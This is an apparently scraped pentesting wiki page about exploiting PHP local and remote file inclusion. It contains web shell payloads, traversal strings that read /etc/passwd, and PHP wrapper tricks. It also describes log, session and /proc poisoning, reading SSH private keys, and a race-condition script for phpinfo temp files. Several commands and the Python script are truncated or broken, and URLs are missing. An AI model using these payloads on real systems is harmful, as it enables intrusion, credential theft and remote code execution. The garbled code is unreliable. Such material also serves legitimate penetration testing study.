Physical attacks
Mobile Apps Pentesting

File Inclusion

File Inclusion

Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable PHP functions: require, require_once, include, include_once

A interesting tool to exploit this vulnerability:

Blind - Interesting - LFI2RCE files


Mixing several *nix LFI lists and adding more paths I have created this one:

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here


Using theses lists and deleting repetitions I have created a new one:

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here


Check the LFI list of linux.


All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=

Null byte (%00)

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

This is solved since PHP 5.4

Double encoding

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)[ADD MORE]/etc/passwd[ADD MORE]../../../../../etc/passwd

Always try to start the path with a fake directory (a/).

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks
Maintain the initial path:

LFI / RFI using wrappers

Wrapper php://filter

Base64 and rot13

The part "php://filter" is case insensitive

zlib (compression)

Can be chained with a compression wrapper for large files.

To read the comppression data you need to decode the base64 and read the resulting data using:

php -a #Starts a php console

NOTE: Wrappers can be chained

Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.php;
mv shell.jpg;
rm payload.php

Wrapper data://,<?php echo base64_encode(file_get_contents("index.php")); ?>;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with :;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

Expect has to be activated. You can execute code using this.

Wrapper input://

Specify your payload in the POST parameters
POST DATA: <? system('id'); ?>

Wrapper phar://



Via Logs Files

Try to send the Shell inside a parameter of the request and access it via logs files: default_log_locations


Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami

Be carefull, the code inside the logs could be URL encoded and this could destroy the Shell. The header authotitation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted insithe this header.

Via /proc/*/fd/*

  1. Upload a lot of shells (for example : 100)

  2. Include$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files


Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file


Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Via phpinfo() (file_uploads = on)

To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.

Turotial HTB:

You need to fix the exploit (change => for =&gt;). To do so you can do:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g'

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)


If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.

Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.

In Windows the files are usually stored in C:\Windows\temp\php<<

In linux the name of the file use to be random and located in /tmp. As the name is random, it is needed to extract from somewhere the name of the temporal file and access it before it is deleted. This can be done reading the value of the variable $_FILES inside the content of the function "phpconfig()".


PHP uses a buffer of 4096B and when it is full, it is send to the client. Then the client can send a lot of big requests (using big headers) uploading a php reverse shell, wait for the first part of the phpinfo() to be returned (where the name of the temporary file is) and try to access the temp file before the php server deletes the file exploiting a LFI vulnerability.

Python script to try to bruteforce the name (if length = 6)

import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):'', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = '' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
print('[x] Something went wrong, please try again')


PayloadsAllTheThings PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders